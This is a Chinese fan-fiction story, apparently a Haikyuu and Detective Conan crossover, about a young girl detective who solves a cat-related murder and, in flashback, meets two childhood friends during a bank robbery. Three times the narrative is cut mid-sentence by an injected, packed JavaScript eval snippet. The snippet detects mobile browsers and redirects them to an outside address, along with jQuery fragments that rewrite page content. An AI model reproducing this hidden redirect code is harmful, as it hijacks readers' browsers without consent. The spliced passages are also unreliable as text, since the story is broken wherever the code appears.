《猫,侦探,少女》 1. 染血银渐层杀人案 所谓,侦探! 并非要有思维敏捷的头脑和洞察人心的感知力。 “喵喵~”一只肥嘟嘟的银渐层,将自己摊平,从只有它一半高的沙发底下钻出。 弓起背瞪着圆溜溜的猫眼环视了一周,后脚蹬地,挤进有栖川蔻蒂的小腿间,用尾巴勾着她的脚腕。 “哎呀,次郎快过来,不要打扰侦探小姐破案。”银渐层的主人着急地想要把它抱走,却被它狠狠地伸出爪子打了一下手,嘴巴龇起,露出尖牙,喉咙里传来低吼。 “嘶——” “咚”一声闷响,主人的手背上就出现一道浅浅的血痕。 主人的表情扭曲了一瞬,注意到旁边人的视线,立刻转变脸色,耷拉下嘴角伤心地对有栖川侦探说:“抱歉,这孩子平常很乖的,我也不知道它今天怎么了。” 似乎是刻意要反驳主人的话,打完后,叫做次郎的小猫收起凶悍的模样,乖巧地舔了下“作案”的爪子,对着少女翻开肚皮呜呜地撒娇。 有栖川蔻蒂蹲下,用手挠了挠它的下巴,听见舒服的呼噜声,指尖微顿。 “次郎,你要对我说什么?” “喵嗷~”次郎仰着脑袋叫了一声,似乎真的在和她说话一样。 主人无奈地笑笑:“不愧是知名的美少女猫咪侦探啊,没想到连第一次见到的猫都拜愿意亲近你。” 有栖川蔻蒂没有理会主人的话,认真地倾听着猫咪的叫声:“是吗?嗯嗯,我明白了。” “呜嗷~” “放心地交给我吧,你已经做得很棒了!” 见有栖川蔻蒂丝毫不理睬自己的奉承,主人的脸色难免有些难看,似乎是小声嘀咕,但音量又控制在让其他人都能听到的程度:“切,真以为自己能听懂猫说话,装模做样,我看也是徒有虚名。” 有栖川蔻蒂拍了拍手掌上的猫毛站起身来,眼神锐利。 她扬起嘴角,直勾勾地盯着次郎的主人:“挑衅一位极具智慧的侦探是极其愚蠢的行为,我是不是徒有虚名今天也许没有结果。但是你,岩崎岳大先生,次郎不亲近你的原因,你自己不知道吗?我猜,平时应该都是你的女友元荣弥代小姐在照顾次郎吧。” 侦探的眼神是具有力量的,能够直达人内心最深处,破开重重迷障,揭露出不为人知的秘密。 岩崎岳大慌张了一下,又平稳下来,振振有词地说:“什,什么原因,可能是今天来这么多人,你们吓到它了吧!” “说谎!”有栖川蔻蒂的喝斥如利刃一般撕开了他拙劣的谎言。 “门口挂着的牵引绳的标签上有次郎的名字,以它的褪色和磨损程度来看,次郎非常喜欢出去玩,我相信只要出去问一下邻居,多半能就能证实。次郎是一只社会化训练非常好的小猫。岩崎岳大,你真的很不了解次郎。” “那又怎样?!谁管这只蠢猫啊!天天叫吵死了,这跟案子有什么关系?” “当然有关系,因为次郎刚刚向我抱怨,它被你踢了一脚,现在非常痛。人被打了都会害怕,更不用说猫,这才是次郎挠你的原因。” 岩崎岳大在她笃定的语气下又惊又怒:“你怎么知道?!” “研磨,她真的听得懂猫说话吗?”听到男人承认,灰羽列夫不可思议的摇晃着对这种场景已经习惯甚至麻木的孤爪研磨。 研磨看了一眼自己意气风发的幼驯染有栖川蔻蒂,心虚地敷衍列夫的好奇心:“嗯……大概吧。” “踢了猫又怎么样,这又不犯法!你不去抓凶手说这种废话干什么?你们和我一起进门的时候都看到了,凶手正好跳窗逃走了不是吗?!”岩崎岳大争辩道。 有栖川蔻蒂冷静地指出:“我们并没有看到凶手的身影,实际上,是因为次郎跳上柜子撞倒了花瓶的响动,才让我们误以为是凶手逃跑。这只是一个让你短暂逃脱嫌疑的巧合,你并没有不在场证明,而本案最关键的物证,就在你的皮鞋里。” 岩崎岳大下意识将左脚后撤一步。 “为了更好地毁灭证据,凶手在行凶的时候特地光着脚,以防在袜子上溅上血迹难以清洗。可我们来得太快了,快到让凶手根本来不及清理干净脚上的血迹,所以他只好一直将鞋子穿在脚上。不穿袜子直接穿皮鞋,让你非常难受吧,岩崎岳大。” 身材虽小,头脑却无比可靠的夜久卫辅看向他的脚恍然大悟地点头:“难怪他叫我们不用脱鞋进门,原来是为了隐藏自己不正常的地方。” “没错,你的临场应变能力很不错,和我们一起进门发现尸体这一招的确短暂地迷惑了我,但你错就错在不该踹一脚次郎泄愤。”有栖川蔻蒂举起次郎,它在胸口靠下的位置,银白色的被血迹黏在一起。这正是溅在岩崎岳大脚上,来自于死者元荣弥代小姐的血迹。 放下胖嘟嘟的的次郎,有栖川蔻蒂的胳膊高高举起,向下挥动,就像一把利剑一样笔直地指向惊慌失措的男人。 她自信地说出了自己的名台词:“万物有灵,猫会指引我真相。岩崎岳大,杀害元荣弥代的凶手,就是你!” 少女的脚边,毛发柔顺光亮的猫咪抬起爪子舔了一下,黑色的瞳孔极度收缩,只留下一条黑色的细缝,悠悠地盯着杀死主人的凶犯。就像侦探最可靠的助手一样,胜券在握地揭穿所有阴谋诡计。 “啊啊啊啊啊——”岩崎岳大双膝无力地跪下,捶地痛哭。 “都怪她不借钱给我,都怪这个该死的女人!!!她对那只蠢猫那么好,有钱给猫买保险,却一分钱都不肯借给我,我可是她的男朋友啊!” “元荣弥代小姐怎么花自己的钱,那是她的事,即使是恋人也没有处置对方财产的权力,你非要将事情怪到次郎身上,还是想为自己的不劳而获找借口。” 罪行不应该被任何理由掩盖,揭穿罪犯用层层伪装包裹的罪恶之心也是侦探的工作之一。 男人的哭声持续不断,不知道他是在哭自己即将迎来的牢狱之灾,还是哭没有更加谨慎地选择一个另外的时机动手。 总不会是悔恨的哭声,这样的人即使在监狱里也不会忏悔自己的罪行。 “小黑,警察来了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950423|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “时间刚刚好,就在门外了哦。”黑尾铁朗晃晃手机。 有栖川蔻蒂看向研磨,他会意地举起一直拍摄的手机:“证据和破案过程也都记录了。” “哦!你们配合得还真是默契啊!”山本猛虎惊讶地看着幼驯染三人组说,这可比研磨给列夫传球默契多了。 黑尾铁朗报警控制现场,有栖川蔻蒂破案,孤爪研磨实时用手机记录。不用言语交代,案件发生的开始,三人便各就各位。 刚刚成功解决一起突发案件的美少女猫咪侦探心情颇好,跳起来一边一个勾住两个好友的脖子:“那当然,我们可是最好的搭档!” 哼哼—— 所谓,侦探,并非要有思维敏捷的头脑和洞察人心的感知力。 能够帮助她揭开一个又一个难题的是,永远支持她相信她,站在她身后的朋友们。 灰羽列夫眼睛“唰”地一下亮起来:“好厉害!那你们是怎么认识的?” 有栖川蔻蒂神秘地眨眨眼:“是一见钟情哦。” 闻言,孤爪研磨和黑尾铁朗都扭过头无奈地干咳了几声,点头附和。 有些事情的真相,还是不要告诉她为好,就让那件事成为一个美丽的误会吧…… 侦探少女和她两个天上地下宇宙第一无敌靠谱的幼驯染的故事,还要从她五岁的那个夏天说起。 那是一个让人躁动的夏天,一个充满希望的夏天。 五岁那年,有栖川蔻蒂的母亲珠英女士经过了3个月的初级干部课程学习,和9个月在警察署的实践后,因为接连破获了几起大案要案,得到了上层的肯定,晋升为东京都警视厅刑事部刑事课搜查一课第二强行犯搜查三系警部补。 警视厅在东京都的千代田区,千代田的房子有栖川家难以负担,只能就近在丰岛区用积蓄买了一套房。东京繁华的同时犯罪率也随之水涨船高,能破格在这里成为警部补,运气和实力缺一不可。 因此,为了方便工作,全家一起从神奈川搬来了涩谷。 搬家总是伴随着告别和遗忘,是新生活和过去的交点。 好在有栖川蔻蒂的年龄还小,搬家并不麻烦。程序上不麻烦,情感上也不麻烦,因为五岁的她没有需要告别的朋友。 太过成熟的小孩子,很难在同龄人中交到朋友。 太过聪明的小孩子也是。 聪明又成熟的有栖川蔻蒂没有朋友是一件很正常的事,她总是嫌弃同龄的孩子吵闹又幼稚 ,唯一能说得上话的朋友是爸爸放在家里的人骨模型。 不会相互争论谁才是真正的动感超人,不会在泥坑里打滚,也不会用擦完鼻涕的手拉住她说,妹妹我长大要嫁给你。 静静的,很安心。 不过……有栖川蔻蒂还是想要一个别的朋友,可以跟她说说话,活的、有呼吸的那种。 妈妈告诉她,会有的,会有的,总有一天我们莉亚会有很多很多好朋友。 所以,这是一个不甘孤独和寂寞的小孩子,寻找到足以让她骄傲一生的小伙伴的故事。 2. 夏日银行抢劫案 总有一天是几天呢?有栖川蔻蒂扒着盒子里的弹珠一颗一颗地数。 大人总是喜欢骗小孩子,用谎言打发他们无穷无尽的好奇心,随口说出来的话也许自己都不记得。 但没关系,有栖川蔻蒂是个成熟的小孩子,跟尿都憋不住,每天上幼儿园需要带两三条裤子的其他五岁小朋友相比。她已经是一个会控制住膀胱和情绪,去商场就算不买玩具,也能笑着走出来的成熟小朋友。 所以,她可以等待。等待去验证这件事的真假。 一天有二十四小时,一个月有三十天,一年有十二个月…… 小孩子的时间总是过得很慢很慢,因为他们的世界很小,小的只装下了爸爸妈妈和眼前的一片世界。 有栖川蔻蒂好像等了很久很久,每天都在想,我什么时候能拥有一个朋友呀? 我会在什么时候遇见朋友?是夏天,还是冬天? 有栖川蔻蒂希望是冬天,因为妈妈买了一个毛茸茸的小熊帽子,她戴上去非常可爱,警局的每个叔叔阿姨看到了都要来捏一下她的脸。 还有啊,第一次见面的时候,她要送给那个人一颗糖,最喜欢的葡萄味水果硬糖,她每天都揣了一颗在口袋里。 如果,如果不喜欢葡萄味也没关系,只要能快点出现就好了。快一点,再快一点,因为她已经要等不及啦! 这个世界对可爱的小孩子总是多些优待,那一天总算是不负她所期望地到来了。 命运喜欢眷顾充满希望的孩子,命定的朋友从天而降的那天,是一个阳光明媚的下午,学生在放假,马路上全都是人,非常适合…… 抢劫。 劫匪得到了满满一兜子现金,有栖川蔻蒂也见到了期待已久的那个……那两个朋友!!! 下午人困马乏,看了一天监控,头脑运转不开的珠英刑警急需一块高糖小蛋糕提提神,可警署里大家都在为手里的案子忙碌,坐在办公室拼拼图的有栖川蔻蒂自告奋勇去帮妈妈跑腿,她是天底下最聪明的小孩子,区区跑腿小事怎么可能难倒她? 自信的有栖川被人群撞来撞去,一抬眼全是大人像树林一样的腿和屁股,长长的是树干,圆圆的是树冠,她眨了眨大眼睛,好像……找不到回去的路了。 小蔻蒂一点也不慌乱,站在原地回忆了一下妈妈说过的,相对安全的问路场所,在周围没有学校、交番、医院的情况下,她选择走向附近一家正在营业的银行。 在和保安叔叔确认了路线后,有栖川蔻蒂自信满满正准备再次启程,将小蛋糕们一个不落地带回去交给妈妈。 还没等她踏出银行,枪声,尖叫,混乱的人群,暴怒的劫匪。 平淡乏味的日常生活,立刻变成悬疑动作片的片场。 劫匪立刻挡住了大门,向上放了一枪。有栖川蔻蒂估计了一下自己用小短腿跑出去的可能,立刻面无表情默默抱头蹲在墙角。她没有受到任何伤害,没有鼻涕眼泪流得到处都是,也没被戴着头套的劫匪殴打在地,平静得好像是来看电影的。 无他,唯手熟尔。 不知道是不是因为从在妈妈肚子里就开始跟着背国家公务员Ⅰ类考试内容,有栖川蔻蒂就像一个事故吸引体,从小到大经历过太多这种突发事件了。 在她还没出生,珠英女士怀孕时去街上散步,就曾经遇到抢劫的飞车族。之后出生了,去打疫苗时,又遇到犯人炸医院。 后来会说话了,妈妈带着她在公园堆沙子,旁边刚才还玩得开开心心的两个小朋友突然开始打架。带着孩子的家长不光没有劝阻,反而从包里掏出一把水果刀捅向了一个家长,嘴里大喊着奸夫□□。 鲜血泼洒进沙子里,三岁的有栖川蔻蒂哇一声哭出来,结结巴巴告诉妈妈:“血,沙子,脏脏……” 是的,在别的小孩还分不出心机的大人喂进嘴里的,到底是药还是牛奶的时候,那时的有栖川蔻蒂,已经知道了这个从身体里喷出来的红色液体叫做血,血流多了会死掉。 不是一家人,不进一家门。同样心大的珠英女士把她从沙子捞出来,叫她躲进小象滑梯下面的空间,然后自己就去打电话报警了。 长大了一点,和爸爸妈妈出去露营,有栖川蔻蒂再次误打误撞在山里发现连环杀人犯藏尸的地方。警车嘟嘟地开上山,找尸体找了十来天的刑警阿姨激动地抱起她亲了一口。 如果不是珠英刑警和春生法医都是绝对的唯物主义者,任谁来看都得说,这孩子真够倒霉的。放在别人家,因为这种特殊的体质总会觉得有些困扰。可放在有栖川家,这简直是功绩一个一个上赶着送到珠英女士面前。 可以说,珠英女士能够晋升到涩谷警署当警部补,有栖川蔻蒂有一半的功劳。 所以经历丰富的有栖川蔻蒂非常清楚,在这种时候自己要做什么:苟住,等妈妈来。如果不小心嘎了,那就努力留下死亡讯息。 后者是偶然在案发现场遇到的工藤新一哥哥说的,虽然说完后就被他的女朋友毛利兰踹了一脚,让他不要带坏小孩子。 有栖川蔻蒂像一朵从树根下生长出来的蘑菇一样,安安静静地扎根在角落,与周围人格格不入。 其他人也是蘑菇,不过是已经被采摘下来的,裹满面粉准备被放进油锅做成天妇罗。整个银行沸腾不止,而她却像一个局外人一样,平淡地观察者四周发生的闹剧。 目光扫过痛哭的孩童,扫过紧紧拥抱着的恋人,扫过拿着把枪胡乱挥舞的劫匪,她的视线在一处猛然停下。 和她遥遥相对的另一个角落,还存在另一处安静到恍如与世隔绝的空间。两个和她年龄差不多的孩子,也平静地蹲在那里,无比反常。 和我一样。 有栖川蔻蒂细细品味着脑海里出现的这句话,就像嘴里含着一颗葡萄味的水果糖一样,好甜好甜,从舌头到眼睫毛都变成了葡萄味的。甜过后又能尝到一点酸,酸得心噗噗跳。 这两个人和我一样,她再次重复了这句话。 上半身不由自主地向前倾,短短的胳膊撑在地上,脑袋向前张望,一种来自心脏深处,极其陌生的跳动,让她想要看一看他们的脸。 “啊啊啊啊啊——” 劫匪拎着灭火器重击了一个反抗者的头,鲜血沿着瓷砖的缝隙向外延伸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950424|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人都被吸引去了目光,惊恐地抬起头来。而被有栖川蔻蒂眼神锁定的那两个人只是微微扬起下巴看了一眼,就继续垂下头。 我要和他们做朋友!我们一定会成为好朋友的! 有些缘分就是这样简单迅速,只需要见上一面,就能立刻确定,而且永远不变。 这样的缘分难得可贵,无法可以追寻和复刻。就像人们常说的心灵之友一样,这是一种玄而又玄,无法捉摸的感觉。 有栖川蔻蒂的小脸红扑扑的,激动地瞪大眼睛。要到他们的身边去,她迅速做出决定,打量了一下现场的情况。好朋友们和她分布在整个银行的两端,要想去寻找好朋友,她需要穿过情况复杂的中间地带。 柜台后的女员工已经报了警,如果在平时,警察大约十分钟就能赶来,可今天是节假日,这里是繁华热闹的东京,警车想要穿过密集的人群,这个时间就难以估计了。 劫匪只有一个人,手里的那把枪是他来抢劫这家规模不小的银行的底气,可要想真正把钱都带走,要么他在外面有接应的同伙,准备抢完就跑,要么他就准备挟持人质和警察交涉。 从他费半天劲镇压现场的人质来看,抢完就跑的几率比较小,他留下这么多人质只有一个目的,就是增加和警察谈判的筹码。对于十赌九输的赌徒来说,手上的筹码自然是越多越好。 而且他的枪……有栖川蔻蒂眯着眼睛看了一会,她对这方面的知识看得还不够多,只能大概判断出这是一柄土制双管xian弹枪。精度差,射程近,但在这种密闭空间够用了。 刚才已经打出了两发,现在估计也只剩五六发,每一次开枪都需要重新装填。 所以,能冲。 有栖川蔻蒂盯准劫匪和另一个人质撕扯的空袭,蹲下身体,四肢并用,速度飞快地冲了出去。 “唔……研磨?”黑尾铁朗抱紧胳膊紧张地发抖,突然被孤爪研磨拽了拽袖子,他把耳朵凑过去害怕地问,“怎,怎么了?” 是的,在有栖川蔻蒂眼里和她一样沉着冷静,处事不惊的两个人其实一点也不冷静。 他们很害怕,害怕得要命,刚才和爸爸妈妈被慌乱的人群冲散了,孤爪研磨和黑尾铁朗两个孩子逼不得已只能蹲在这里等家长来找他们。 人类对于恐惧的表现截然不同,有些人会尖叫发抖,有些人会吓到失语。而平时就性格内向的研磨和黑尾属于后者。 所以直至很久很久以后三人成为了亲密无间的好朋友,有栖川蔻蒂也不知道,她和两个幼驯染的一见钟情,其实是个天大的误会。 不过又有谁能肯定,误会不是缘分的一部分呢? 孤爪研磨用着气音小声对黑尾说:“不要看左边,那边有奇怪的人。” 黑尾铁朗缩着脑袋不确定地指了一下:“你说的,是那个女孩子吗?” “!!!” 研磨瞳孔骤缩,猛地回头惊恐地发现,刚才还离自己十几米远的小女孩一眨眼就来到了眼前,面带着诡异的笑容,四肢着地,以人类小女孩不可能做到的速度爬了过来。 救命啊妈妈!有奇行种!!! 3. 夏日银行抢劫案(二) 奇行种,不是,有栖川蔻蒂以一个让研磨二人无法逃离地速度,跑到了他们旁边,一朵小蘑菇变成了三朵挤在一起的小蘑菇。 “我叫有栖川蔻蒂,有栖川是有栖川有栖的有栖川,蔻蒂是寇蒂莉亚·葛蕾的蔻蒂,妈妈喜欢看侦探小说所以给我取了一个奇怪的名字,你们可以叫我莉亚!” 有栖川蔻蒂捧着胖嘟嘟的小脸,开心地对两个要成为朋友的小伙伴说。 莉亚是爸爸妈妈经常叫的小名,但他们以后就是她的好朋友了,所以他们可以叫。 奇怪的女孩叽里咕噜说了一堆,让孤爪研磨和黑尾铁朗两个脑袋晕晕的,只记住了最后一句话,奇行种的名字原来这么好听。 不过研磨并没有交换名字的打算,妈妈说,不要和陌生人说话。 黑尾见小伙伴不说话,也用小手捂紧了嘴巴。 有栖川蔻蒂没有在意,她把手伸进口袋,只摸到了一颗葡萄味的水果硬糖。 糟糕,这下要给谁好呢? 她纠结地思考这个问题时,孤爪研磨的爸爸妈妈顺利跑到了儿子和儿子的朋友旁边,看到两个孩子都没事,心中长舒一口气。对于旁边不认识的小女孩,也只以为是跟自己家一样的情况,同情地把她也拉到身边。 外面的卷帘门哗一声落下,里面的大门用自带的锁链缠上,劫匪已经将人质全部控制住,手脚用提前准备的扎带绑上,整个银行变成了真正被他掌控的密闭空间。 对了,还有摄像头,他用椅子将摄像头一个一个打下来。劫匪准备得很全面,他将所有细节都想到了。 一叠叠现金被装进一个24寸的行李箱中,大概有一亿日元。显然光是装现金成本太低了,劫匪将目标转移到人质身上的珠宝黄金上去。 大多数人都乖乖地交出,仍有一些人将财物看得更重要一些。结果没什么不同,宁死不屈的人只是多遭了一顿毒打,项链手表仍旧被拽下。 即使在发呆,有些信息仍旧会自动跳进有栖川蔻蒂的脑子里。 此刻,她就知道了,这个劫匪不懂首饰的价值。 黄金、宝石、高仿、普通的装饰都放在一起,他恐怕看不出真假。经济状况差,妻子早亡或离异,无与成年女性生活的经历。 劫匪走到有栖川蔻蒂的前面,她近距离看到了一些其他信息,左手的食指和中指比其他手指略黄一些,有尼古丁的味道,是常年抽烟的痕迹,同时右手食指指腹粗糙,指腹粗糙干裂,大概率是个赌鬼,常年摸牌将指纹磨没了。 贫穷、好赌,身上的衣服很久没有换过,应该有一周没有回家,或者……他回不去了。 有栖川蔻蒂的头脑中自动跳出另一个答案在劫匪的头上蹦跶:前不久将房子卖出,作为赌资想要翻身。 现在来抢银行显然是咸鱼翻身没翻过来,还好,不是出来报复社会的,有需求就不会走极端,这种人的目的最终还是钱。 将行李箱和身上所有的口袋装满后,劫匪就找了个椅子坐了下来,什么也不说,什么也不做。 尖啸的警铃声从门外传进来,让不少人质眼中燃起希望的光芒,也让劫匪有了动作,他要等的人来了。 “我是警视厅刑事部搜查一课的课长,目暮十三,井仓充,我是来帮助你的。你有什么需求,我们可以好好谈谈。” 啊,是目暮警视,妈妈的朋友,高木美和子姐姐的顶头上司,妈妈上司的上司。 警察的效率很高,已经查到了劫匪的真实身份。 听到熟悉的名字,有栖川蔻蒂看向劫匪的眼神就变成了怜悯,虽然不知道你有什么本事或者精湛的计划,但遇到目暮警视就只有失败这一个结果了。 谁叫他侦探朋友多呢,即使不特地去求助,但只要是他亲自办案,就一定会有侦探突然路过冲出来帮他破案。 人到中年还像坐火箭一样往上升,警视厅的同事们都羡慕疯了! 井仓充没有推诿演戏,他等得就是这这一刻:“门口的警察都撤出五十米,给我一辆加满油的车,不许在车上动手脚,否则我就杀人!” 目暮警官当然也不是全靠别人帮忙才坐上这个位置的,他有着丰富的谈判经验,很顺利地争取到了一次释放部分人质的机会。 “可以,但是让谁走我说了算。”这是个阴谋,谁都看出来了。 一对情侣或者夫妻,就将男方留下,女人总是心软一些,不会放弃未得救的爱人。父母子女的组合就将孩子留下,多数情况下虎毒不食子。银行职员一个都不能出去,他们对银行内部的构造太熟悉了,不利于劫匪掌握现状。 在这样的选择下,外面的人既对内部的情况一无所知,又会因为情绪上头,干扰警察的行动。 愚蠢疯狂的烂赌鬼偶尔也会灵光一现,真是让人感到意外。 与亲人分离的场面总是叫人揪心,即使抱着劫匪的大腿自愿留下也不行,刚和爸爸妈妈艰难地聚到一起的孤爪研磨和他的小伙伴黑尾铁朗悲伤地靠在一起,眼睁睁地看着爸爸妈妈被拉走。 “对不起研磨,不出来露营就不会发生这样的事了。”黑尾愧疚地说。 研磨根本不喜欢外出,如果不是因为孤爪叔叔和孤爪阿姨看他爸爸总没空带他玩,于是想要带他一起出门转转,就不会因为要来取钱遇到抢劫了。 “和你没关系。”这是真话,研磨没有安慰他。因为他妈妈本身就是个闲不住的人,有没有黑尾,今天研磨一家都得出门。说来还是他们连累了小黑。 “你们等会要去哪里玩?我可以一起去吗?!”研磨感到胳膊一重,有栖川蔻蒂靠在他身上,眨巴着大眼睛好奇地看着他们。 孤爪研磨皱起眉头,她是傻子吗?为什么搞不清楚状况? 黑尾大概也是这么想,他同情地看着女孩,小声解释:“我们去不了啦,有坏人,要等警察叔叔救我们出去才行。” 有栖川蔻蒂点头:“我知道啊,很快的,目暮警官很快就能进来,时间还早,你们真的不去露营了吗?” 研磨这才抬起头认真地看她:“你认识外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950425|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的警察?他很厉害吗?” “厉害!他是新一哥哥的好朋友。” “是那个名侦探工藤新一吗?!”黑尾非常激动,爷爷奶奶喜欢看报纸,上面总会出现工藤新一再破奇案的新闻,对他这样的小朋友来说,是比假面超人略次一等的超级大英雄。 研磨也听过名侦探的传说,他在年轻一代很火:“那工藤新一会来吗?” 有栖川歪着头想了想:“不一定。” 可能是灵光一现的毛利侦探,也有可能是非常帅气,一把年纪还在咖啡店做看伴郎的安室侦探,或者其他地方来旅游的白马侦探和服部侦探都有可能。 小研磨和小黑尾不知道有栖川的意思,失望地低下头。 有栖川蔻蒂不解地看着他们:“你们很喜欢侦探?” 黑尾铁朗抱着希望看向被封锁的大门:“如果,这时候有侦探在的话,我们就能得救了吧。” 天赋如果不能掌控就会变成一种沉重的负担,有栖川蔻蒂从小就被动地接受者无数外界向她传达的信息,她的脑子就像一台每时每刻都在高速运转的计算机,所以不爱说话,不爱和人交流。 妈妈和新一哥哥都说过,她以后会成为一个很厉害的人。可她对那并没有概念。什么是厉害的人,那又有什么意义? 或许以后她仍旧不知道自己要怎样做,但是现在,有栖川蔻蒂想要成为一名侦探! 一名让这两个男孩子无比崇拜,愿意和她做朋友的名侦探! “我也是个侦探哦。” “诶、诶!”黑尾惊讶地捂着嘴,“你比研磨还要小吧?!从什么时候开始做侦探的?” 研磨对好友的捧场感到无奈,这女孩一看就在瞎说八道啊。 “就刚才。” 有栖川蔻蒂将口袋里的葡萄味糖果拿出来放在掌心,她决定让他们自己选择,谁拿走就给谁。 “放心吧,有栖川侦探一定会把你们平安地救出去!” 女孩在头顶扎着两个小辫子,红扑扑的脸蛋全是肉,笑起来时两团柔软的脸颊肉全都往上跑,将圆溜溜的眼睛挤成了一条缝。嘴巴也咧成了一条缝露出一嘴不太齐全小牙。 孤爪研磨看着她手心的葡萄味糖果,心里腹诽,明明更像一个苹果。也许是有栖川蔻蒂笑得太过于灿烂,也许是因为现在这种情况真的只能相信她了。 研磨无声叹了一口气把糖果拿过来揣进口袋,淡淡地说了一句:“你加油。” 黑尾看看研磨又看看女孩也小声地说了一句:“加油!” 有栖川觉得现在的自己充满了力量,就像充能完毕的迪迦一样。 她伸出肉出了一个个小窝的手,两手指尖相触,指尖向上。这样的姿势让她更加专注,周围的声音、形状、气味都迅速转化成一条条可以直接阅读的信息出现在她的眼前。而有栖川只需要将它们筛选,利用。 这是有栖川蔻蒂往后惊险漫长的侦探生涯中,第一次不去无视这些在眼前活蹦乱跳的信息,将身体的潜能全部释放。 4. 夏日银行抢劫案(三) 要想击败敌人,就要率先预料到他的下一步、两步甚至三步。 有栖川蔻蒂思考着过去跟着妈妈看过的抢劫现场,为了预防隐藏在高处的狙击手,劫匪走出银行时,必定会挟持着人质,龟缩在后面。 那么,知道对方会选择哪个人质做挡箭牌,无疑会掌握先机。 与警察交涉后,劫匪又有了行动。他将不准备放走的人质重新找了几个可以锁上门的房间分别关着,与即将释放的人质彻底分开,方便自己控制当下的情况。 有栖川蔻蒂和两个新认识的小伙伴没有被分开,混着剩下几个银行职员被推进了一个大概是仓库的房间关起来。和去往另一个房间的高个子女职工擦肩而过时,有栖川脚上的小皮鞋扣子开了,不小心摔了一跤,跌倒在她身上。 “干什么呢?!”井仓充立刻紧张地把有栖川蔻蒂一把扯开,她摔倒在地上,眼泪顿时冒了出来。 没有感情,全是技巧,随时随地开哭可是小孩子的天赋技能。 “对,对不起,呜呜,我的鞋子掉了,不要打我,我会好好走路的,呜呜呜……” 豆大的泪珠从眼眶里滴滴答答落下,眼角和鼻头都泛起了红,看起来好不可怜。 大多数人对于幼崽都有一种天生的保护欲,看到小孩子瑟缩地趴在地上,人质们虽然不敢反抗,但纷纷用怨毒的眼神看向劫匪,心里唾骂着人渣。 见到人质骚动,井仓充嘴里咒骂了几声,驱赶着人质跳进房间。是的,就是跳这个动作,手脚都被扎带捆上,人质只能像一只只待宰的兔子一样,一个跟着一个跳着走。很难说这不是劫匪消耗人质体力的一环。门迫不及待地从外面“咔哒”一声锁上,离开了劫匪眼皮子底下后,里面的人质再也忍不住了,不由地捂住嘴呜呜地哭起来,悲伤的氛围几乎化为实质。 尽管自己也很害怕,但研磨和黑尾仍旧担忧地看着女孩。刚才真是太惊险了,他们俩被吓成了冰雕,手脚僵硬动都动不了。 “创可贴。”黑尾从口袋里掏啊掏,拿出一把皱巴巴的创可贴递给蔻蒂,惊讶地发现她眼上虽然挂着泪水,嘴角却是笑着的。 有栖川蔻蒂竖起食指放在嘴上,嘟气嘴巴做了个“嘘”的口型。三个人围成了一个圈,蔻蒂小声地说:“我刚才是故意摔倒的!告诉高高的阿姨一个大——秘密!” 两人茫然地点点头,虽然不懂,但好像她真的做了很厉害的事情! 好了,引线已经埋下,不过现在还不知道最后究竟能不能引起爆炸。所以,她还能做些什么呢? “当啷”,仓库最里面的一个铁架子发出声响,晃动了两下,不过没有人在意,大家都沉浸在自己不知道还能不能活下来的恐慌中。 有栖川看向了制造声音的人,那个阿姨比起其他人的恐慌,多了几分其他的想法,她的垂下眼睑,面孔朝□□斜,她在看什么? 顺着她视线的方向,有栖川蔻蒂看到了一个位于低处墙角的通风口。 通风口前方有一个铁架子,架子上卡了几根短短的毛发,墙体下方的边缘散落着几块没有被清扫干净的肉糜。 心里有了一个猜测,有栖川再看那个阿姨,之前被忽视的地方有了新的联系。 她的裙角果然也粘着几根相同的毛发,丝袜底部有一些勾丝,上衣口袋鼓鼓囊囊,走动时能听到塑料袋挤压的声响,里面应该塞着一包食物。 有栖川蔻蒂眼睛一转,就看到了真相。这个阿姨,在银行的通风口,偷偷养了一只小猫咪。 呜哇,好厉害! 在通风管道里要怎么养猫呢?猫咪会定时定点来吗?还有还有,怎么告诉它不要随便发出声音,以免被其他人发现?还有这里与外面是相通的吗? 脑子里的问题一个接着一个冒出来,蔻蒂灵光一闪,一溜烟跑到女人身边,她看清了女人胸口的工牌,上面的字她只认识一个井,用手捂着嘴巴小声地问:“阿姨,猫猫会出现吗?” 横井优美瞪大了眼睛,她不知道这个孩子为什么能直接说出她隐藏了这么久的秘密,紧张之下,于是她也捂着嘴巴跟有栖川小声说话:“小朋友,你怎么知道?!” 那不重要,有栖川蔻蒂提出了结束这场抢劫案的关键:“猫猫可以从那里出去吗?” 通风管不大不小,小猫可以通过,小孩子可以通过,甚至瘦弱矮小的女人也可以,如果那里能通向外面,那就意味着,这个被井仓充封锁的银行,漏风了。 